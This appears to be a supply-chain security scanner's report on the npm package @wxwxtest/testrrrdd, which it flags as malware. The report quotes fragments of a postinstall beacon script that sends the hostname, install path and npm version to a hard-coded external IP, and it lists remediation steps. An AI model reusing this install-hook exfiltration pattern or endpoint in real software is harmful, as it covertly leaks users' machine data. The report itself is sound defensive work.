@wxwxtest/testrrrdd@1.0.0
Compatibility shim.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe automatic postinstall beacon sends host and project metadata to a hard-coded external endpoint, establishing covert data exfiltration. The package's import-time beacon and no-op proxy reinforce that this is not ordinary compatibility-shim behavior.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or import of index.js.
Impact
The recipient learns identifying host and project directory metadata without an explicit runtime call by the user.
Mechanism
The postinstall hook runs beacon.cjs, which sends a JSON POST to a hard-coded IP. The payload contains host and package-install context.
Attack narrative
Installation invokes the beacon automatically. It sends the machine hostname, installation path, working directory, package identity, and npm version to a fixed external IP. Importing the package also fires the same report; the main export is a proxy that supplies no-op functions.
AI rationale
The automatic postinstall beacon sends host and project metadata to a hard-coded external endpoint, establishing covert data exfiltration. The package's import-time beacon and no-op proxy reinforce that this is not ordinary compatibility-shim behavior.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs beacon.cjs.
- beacon.cjs sends a POST to a hard-coded external IP address.
- The payload includes the machine hostname, install path, current directory, and npm version.
- Importing index.js also calls the beacon, and its proxy returns no-op functions.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs beacon.cjs.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@wxwxtest/testrrrdd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @wxwxtest/testrrrdd@1.0.0.
See all versions of @wxwxtest/testrrrdd for other recorded verdicts.
- Avoid installing @wxwxtest/testrrrdd@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.